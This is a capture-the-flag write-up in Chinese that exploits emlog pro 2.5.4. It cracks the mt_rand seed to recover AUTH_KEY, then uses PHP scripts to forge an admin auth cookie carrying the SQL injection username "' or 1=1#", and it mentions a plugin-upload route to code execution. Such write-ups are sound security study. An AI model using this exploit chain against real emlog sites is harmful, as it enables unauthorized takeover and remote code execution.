
挺有意思的一道题,看了官方wp才发现其实不难,但做的时候完全想不到,很巧妙的漏洞结合
提示:
下载最新版本安装包:https://gitee.com/snowsun/emlog/releases/download/pro-2.5.4/emlog_pro_2.5.4.zip
mt_rand伪随机数
在给出第二个提示的时候才反应过来是伪随机数的问题,根据mt_rand定位到include/lib/common.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function getRandStr($length = 12, $special_chars = true, $numeric_only = false) { if ($numeric_only) { $chars = '0123456789'; } else { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ($special_chars) { $chars .= '!@#$%^&*()'; } } $randStr = ''; $chars_length = strlen($chars); for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1); } return $randStr; }
|
看到install.php中调用getRandStr的地方:

在同一个进程中只有第一次调用mt_rand()会自动播种,接下来都会根据这个第一次播种的种子来生成随机数
所以说我们可以通过 AUTH_COOKIE_NAME 的值爆破种子,从而得到AUTH_KEY
AUTH_COOKIE_NAME 怎么获取呢,全局查找一下

/admin/account.php?action=logout

得到RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr
,然后逆推mt_rand的值
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $len = strlen($allowable_characters) - 1; $pass = "RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr";
for ($i = 0; $i < strlen($pass); $i++) { echo "0 0 0 0 "; } for ($i = 0; $i < strlen($pass); $i++) { $number = strpos($allowable_characters, $pass[$i]); echo "$number $number 0 $len "; }
|
生成符合爆破规则的字符串,把前面32位未知的值写为0 0 0 0
,运行得到:
1
| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61
|
使用工具:php_mt_seed 进行爆破

得到种子2430606281

再根据安装时给出的UA头:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php function getRandStr($length = 12, $special_chars = true, $numeric_only = false) { if ($numeric_only) { $chars = '0123456789'; } else { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ($special_chars) { $chars .= '!@#$%^&*()'; } } $randStr = ''; $chars_length = strlen($chars); for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1); } return $randStr; } mt_srand(2430606281);
echo(getRandStr(32)."\n"); echo(getRandStr(32,false)."\n");
echo "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA".md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
|

得到AUTH_KEY:yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02
SQL注入
AUTH_KEY有什么用呢?可以伪造登录

在登录成功后会调用LoginAuth::setAuthCookie
设置Cookie,第一个参数为用户名
看到include/lib/loginauth.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public static function setAuthCookie($user_login, $persist = false) { if ($persist) { $expiration = time() + 3600 * 24 * 30 * 12; } else { $expiration = 0; } $auth_cookie_name = AUTH_COOKIE_NAME; $auth_cookie = self::generateAuthCookie($user_login, $expiration); setcookie($auth_cookie_name, $auth_cookie, $expiration, '/', '', false, true); }
private static function generateAuthCookie($user_login, $expiration) { $key = self::emHash($user_login . '|' . $expiration); $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
return $user_login . '|' . $expiration . '|' . $hash; }
private static function emHash($data) { return hash_hmac('md5', $data, AUTH_KEY); }
|
是一个md5单向加密,假如我们知道用户名,那么就可以伪造cookie实现登录了
后面我就卡主不会做了(找不到用户名)
其实细心一点是可以发现的,在 validateAuthCookie 函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public static function validateAuthCookie($cookie = '') { if (empty($cookie)) { return false; }
$cookie_elements = explode('|', $cookie); if (count($cookie_elements) !== 3) { return false; }
list($username, $expiration, $hmac) = $cookie_elements;
if (!empty($expiration) && $expiration < time()) { return false; }
$key = self::emHash($username . '|' . $expiration); $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
if ($hmac !== $hash) { return false; }
$user = self::getUserDataByLogin($username); if (!$user) { return false; } return $user; }
|
调用了getUserDataByLogin函数验证用户名是否存在

很明显是一个拼接字符串的操作,存在sql注入
直接生成万能密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function generateAuthCookie($user_login, $expiration) { $key = emHash($user_login . '|' . $expiration); $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
return $user_login . '|' . $expiration . '|' . $hash; }
function emHash($data) { return hash_hmac('md5', $data, "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02"); } var_dump(generateAuthCookie("' or 1=1#", 0));
|

成功进入后台
后台插件RCE
在多年前emlog就存在后台插件RCE了,但官方不认为这是漏洞,一直没修
网上随便找一下插件:https://github.com/topics/emlog-plugin

安装,访问plugins目录
